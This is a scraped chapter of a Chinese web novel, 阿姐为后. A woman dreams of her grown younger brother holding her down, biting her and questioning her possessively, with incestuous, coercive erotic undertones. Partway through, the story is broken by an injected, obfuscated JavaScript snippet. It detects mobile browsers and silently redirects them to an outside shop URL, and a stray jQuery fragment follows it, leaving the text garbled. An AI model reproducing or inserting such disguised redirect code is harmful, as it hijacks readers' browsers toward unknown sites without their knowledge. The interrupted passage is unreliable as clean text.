文趣网 > 都市小说 > 阿姐为后 > 16. 入梦来
    晌午,谢绣娥用过餐饭,短暂休憩了一个时辰。

    “春香,方才两位郎君站在门前与你说了什么?”

    春香数着手指道:“他们先是拿了谢礼,又说想进来做客,来谢过小姐前些日子的搭救,但是奴婢听着房里的声音……便回、回绝了。”

    “你是如何回绝的?莫不是说我病了?”

    春香摇摇头,当时裴清琅的车马就停在马厩里,外头那两个人可是看得清清楚楚。

    本来春香不想让他们知道谢绣娥的家事,可一对上那秋郎君的眼睛,她心下便怵得慌,半句滑头也耍不出来,只能照实地说:“奴婢说小姐跟姑爷在里头,总归是不方便见客。”

    谢绣娥沉默片刻,回到屋中,取出一个小而精致的梨花式样的剑穗,说:“明日你再听见他们车马声,便入屋唤我。”

    “我想见见他。”

    春香想起谢绣娥失魂落魄回家那日,支支吾吾地看着谢绣娥,心下不解:“小姐不是怕他们么,为何还要对那秋郎君那么上心?”

    谢绣娥想了想,摇摇头:“并非上心,只是上回承了他们的情,只有人情还完了,我这心才能安定。”

    “春香知道了,还是小姐心地好。”

    谢绣娥静静看着她。

    这小丫鬟她带在身边已经有数年,向来是忠心耿耿,一心为了她好,倘若不是春香一直在她身侧无条件支持她,她也没办法从旧时的梦魇生活中脱离。

    想罢,谢绣娥笑着安慰春香道:“我知道你也是为了我好,我们家春香是世上心地最好的姑娘。”

    春香心下顿时喜滋滋的。

    她喜欢小姐,更喜欢被小姐夸,最好小姐还能摸摸她的头,夸她是天底下最好的姑娘,如此一来,她便觉得世上的困难再多,有小姐在身畔,再如何她都不怕了!

    后面的几日,谢绣娥都未曾听见隔壁有任何人的动静。

    连春香跑过去敲门,也没有人响应。

    秋郎君这几日都没有回家。

    谢绣娥心下有些失落,这几日她将心中的想法反复重建推翻,仍然觉得那日或许是自己的眼睛骗了她。

    否则,依谢照的性格,他不可能与她见面这么久,都不与她相认。

    入了夜,谢绣娥闷闷地回到寝间,揉了揉酸痛的腰,和衣睡下。

    月事一来,她便无法久站,哪怕这几日只是乘车出门看了几处铺子,即使并未下车,腰间都会酸痛无比。

    她自顾坐在榻上揉了许久,却不得要领,还弄得手也开始酸痛,心下愈发不痛快,索性锦帐一撩,便睡下了。

    好在今夜是个好梦。

    谢绣娥梦见旧时的自己坐在屋里,那时她因为缠绵病榻,久久不得起身,阿弟每夜都要替她在腰腹脊背处贴膏药,用手搓热了药油去揉散僵硬了一日的肌骨。

    她记得二爷请来的南疆医师曾同她说,她这身肌骨,倘若不是旧时得了人妥善照顾,哪怕病好,都几乎要半瘫在床上。

    好在有阿弟。

    今夜的梦里,幼时的阿弟也如旧时那般,替她揉散酸痛的肌骨,甚至连手指触碰她腰腹的触觉,灼热且平稳的呼吸都有如真实一般触手可得。

    这之后的好几晚,她都梦到了谢照。

    不仅仅是幼年,还有青年时期的他。

    在梦里,她虽然得到了很好的照顾,但这孩子似乎是要报复旧年她对他的刻意忽视与遗忘,总是要紧紧牵着她的手,蹭在自己脸上,喃喃地说姐姐为什么不多看看我。

    谢绣娥很心疼他,他小小年纪便撑起了这个家,只有在夜里入睡的时候,他埋肩抱着她呢喃一些梦话时,谢绣娥才能意识到他还只是个孩子。

    思索间,她的意识逐渐飘忽。

    青年模样的弟弟自背后紧紧揽着她,灼热的呼吸喷洒在她的颈间,面颊的温柔与掌心的温度逐渐融为一体,他就这般不舍地轻蹭着,依恋又缠绵。

    谢绣娥身在梦中,并未发现任何不对,只是每每想要睁开眼,这眼皮却好似有千斤之重。

    被长大后的弟弟揽在怀里的感觉到底有些怪异。

    她几次三番想要挣脱,却都被他牢牢囚住了五指,坚实矫健的身躯锁住她,令她只能这般依着他的胸膛,静静感受他灼热的呼吸喷洒在她的后颈,还有在她腰间不断揉按的动作。

    原本一切都是恰如其分。

    梦里的谢照很会照顾她,这几日醒来,她都不曾有旧时来月事那般疲乏又难捱。

    可她已经历过人事,前些日子裴清琅还总是让她不得趣,骤然被这样一副青春热烈的身躯所碰触,少不得摩擦出几分火花。

    一切都太近,也太迟了。

    谢绣娥这才发觉得这梦变了味道。

    她空寥寥的心口逐渐被弟弟意味不明的吐息吹得发痒,连带着那双手落在她腰间揉按的动作都像点火。

    一簇又一簇,烧得她神思不属,燥热不堪。

    谢绣娥开始扭着腰挣扎。

    谢照是她弟弟,是她亲手抚养长大的弟弟。

    她极力地想要避免这等扭曲不/伦的情感滋生。

    可见她想逃,弟弟箍她的力道却更紧了些,双臂死死地箍着她,不要她有任何逃脱与挣扎的机会。

    那双温热有力的手在她腰眼处打着圈儿,时而不轻不重地一按,谢绣娥只能咬唇隐忍,不知他按到哪处麻筋,谢绣娥脊背霎时流窜上一股难言的酥麻,让她直想唤出声儿来。

    这让她十分难堪,浑身禁不住地轻颤,她死死咬住舌尖,却仍被此人恶劣的动作捏得浑身一软。

    霎时,她忍不住从鼻腔里哼出一点儿朦朦胧胧的气音。

    谢照趁机将软倒的她再度揽入怀里。

    这下,她不敢再有任何动作,身前的青年亦彻底不动弹了。

    谢绣娥死死咬住嘴唇,心下羞愧得想要寻个地洞钻进去

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726837|208605||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    她是疯了么,怎么能对自己的弟弟有那种心思?!

    哪怕是梦,这些事情也不该发生在她与他之间!

    见他无了声息,谢绣娥霎时后怕地推开他,她心虚,甚至不敢看他。

    静默几息后,在这无明的漆黑的夜里,她听见谢照的声音似隔着一层纱,在向她轻声地询问:“阿姐为何要怕我,你在怕什么?”

    “那日阿姐为何要跑掉,为何要刻意忽视我,为何不让我见你,是心虚还是不敢,抑或是因那裴清琅正同你在一起?”

    “你们在做什么见不得光的事,他是否逼迫你了?”

    谢绣娥羞惭地摇头:“不……不是这样的……”

    谢照沉默几息,见她一直往后缩,索性随着她往前,一点点侵占她好不容易垒起的脆弱的边界,进而将她逼迫至榻的角落,伸出手,擒住她的手腕,强硬地将她夺至身前。

    青年长躯覆下,身影如同张牙舞爪的鬼魅一般,遮天蔽日朝她笼罩下来。

    只见那张微润的薄唇附在她耳畔,若即若离地碰触着她,坚持不懈地诘问她:“这十年姐姐有想起过我吗?又想过多少次?你还当我是你弟弟吗,你心里可还存有我的一席之地?为什么你落在他身上的目光比起落在我身上的要久长那么多?当真是令人难以忍受,令我难以忍受啊,阿姐。”

    “明明见了我,却不肯认我,阿姐,你到底还想怎么折磨我?”

    那张温热的嘴唇就落在她的耳畔,说话时轻轻震颤着,带着几分灼热的气音儿。

    谢绣娥被他逼问得百口莫辩,她实在想不明白自己怎么会忽然做这样光怪陆离却又无比真实的梦。

    谢绣娥错愕着,不知如何回应。

    那少年见她没反应,呼吸一紧,几乎是恨铁不成钢一般,将头首埋在她肩畔,张嘴狠狠咬了她一口。

    “阿弟……唔……!”

    谢绣娥吃痛地唤了一声。

    她想推开他,却又愧疚到无法对他说出让他放开自己的狠话。

    那张不饶人的嘴唇在咬了她一口之后,又不知收敛地继续触碰上她柔润的耳珠,甚至用低沉又阴晦的嗓音附在她耳边说话,如同毒蛇吐息般冰冷的气息不断窜入她的耳房。

    “真不知阿姐何时变得如此吝啬,都要与他成婚了,却一点都不打算告知家眷,不让他见见自己的亲姐夫么?”

    “分明我与阿姐,亲极爱极……”

    不知是怕的还是冷的,谢绣娥听见他用这般声音说话,禁不住地头皮发麻,浑身打颤。

    须臾,青年尤为怜爱地又将嘴唇贴上她的耳垂,似乎在慰藉她不要怕。

    可是谢绣娥实在是怕得不行了,急急叫了一声,倏然从榻上坐起,满是惊悚地捂住心口,朝身侧的位置睁开双眼。

    她颤颤地将视线往上挪移。

    只见在她惶惶然的视线里,确确实实蛰伏着那样一双冷毒的眼睛。